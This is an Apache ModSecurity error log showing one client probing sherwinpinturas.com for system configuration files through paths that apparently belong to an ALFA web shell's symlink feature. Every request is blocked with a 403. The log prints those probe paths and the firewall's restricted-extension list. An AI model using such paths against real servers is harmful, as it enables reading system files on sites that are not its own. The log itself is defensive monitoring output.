[Sun Oct 25 14:29:39.615537 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52673] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chkserv.d/chkservd.conf"] [unique_id "at5Kk73kuBsxLRbAfYmokgAAAA4"]
[Sun Oct 25 14:29:39.615770 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52673] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chkserv.d/chkservd.conf"] [unique_id "at5Kk73kuBsxLRbAfYmokgAAAA4"]
[Sun Oct 25 14:29:39.641770 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52685] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "at5Kk7mAKu18kw3DYL-PMgAAAA8"]
[Sun Oct 25 14:29:39.642046 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52685] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "at5Kk7mAKu18kw3DYL-PMgAAAA8"]
[Sun Oct 25 14:29:39.642317 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:52685] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "at5Kk7mAKu18kw3DYL-PMgAAAA8"]
[Sun Oct 25 14:29:39.642392 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52678] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chromium/chromium.conf"] [unique_id "at5Kk5KSFHHoiviJa5dqigAAAAo"]
[Sun Oct 25 14:29:39.642623 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52678] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chromium/chromium.conf"] [unique_id "at5Kk5KSFHHoiviJa5dqigAAAAo"]
[Sun Oct 25 14:29:39.642873 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:52678] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chromium/chromium.conf"] [unique_id "at5Kk5KSFHHoiviJa5dqigAAAAo"]
[Sun Oct 25 14:29:39.681734 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52686] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at5Kk76D6j04LiS6yScWNwAAAAI"]
[Sun Oct 25 14:29:39.682030 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52686] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at5Kk76D6j04LiS6yScWNwAAAAI"]
[Sun Oct 25 14:29:39.682260 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52686] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at5Kk76D6j04LiS6yScWNwAAAAI"]
[Sun Oct 25 14:29:39.689124 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52690] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpspamd.conf"] [unique_id "at5KkyEQblycZeXKbm74lAAAAAU"]
[Sun Oct 25 14:29:39.689356 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpspamd.conf"] [unique_id "at5KkyEQblycZeXKbm74lAAAAAU"]
[Sun Oct 25 14:29:39.689604 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpspamd.conf"] [unique_id "at5KkyEQblycZeXKbm74lAAAAAU"]
[Sun Oct 25 14:29:39.709070 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52694] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpupdate.conf"] [unique_id "at5Kk0YY36dVli09oOhVYgAAAAw"]
[Sun Oct 25 14:29:39.709405 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52694] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpupdate.conf"] [unique_id "at5Kk0YY36dVli09oOhVYgAAAAw"]
[Sun Oct 25 14:29:39.709776 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52694] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpupdate.conf"] [unique_id "at5Kk0YY36dVli09oOhVYgAAAAw"]
[Sun Oct 25 14:29:39.719075 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52608] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/460_mod_userdir.conf"] [unique_id "at5KkxH5LAgtrvBIlo321wAAABU"]
[Sun Oct 25 14:29:39.719288 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/460_mod_userdir.conf"] [unique_id "at5KkxH5LAgtrvBIlo321wAAABU"]
[Sun Oct 25 14:29:39.719524 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/460_mod_userdir.conf"] [unique_id "at5KkxH5LAgtrvBIlo321wAAABU"]
[Sun Oct 25 14:29:39.733253 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52701] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/session.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9IgAAAAQ"]
[Sun Oct 25 14:29:39.733549 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52701] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/session.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9IgAAAAQ"]
[Sun Oct 25 14:29:39.733787 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52701] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/session.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9IgAAAAQ"]
[Sun Oct 25 14:29:39.735411 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52702] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9hAAAAAM"]
[Sun Oct 25 14:29:39.735764 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52702] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9hAAAAAM"]
[Sun Oct 25 14:29:39.736119 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52702] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9hAAAAAM"]
[Sun Oct 25 14:29:39.756150 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52708] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/dnf.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqswAAABY"]
[Sun Oct 25 14:29:39.756486 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52708] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/dnf.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqswAAABY"]
[Sun Oct 25 14:29:39.756789 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52708] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/dnf.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqswAAABY"]
[Sun Oct 25 14:29:39.820656 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52712] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/depmod.d/dist.conf"] [unique_id "at5KkypTNKVnE1oMPCDtHAAAAAA"]
[Sun Oct 25 14:29:39.820994 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/depmod.d/dist.conf"] [unique_id "at5KkypTNKVnE1oMPCDtHAAAAAA"]
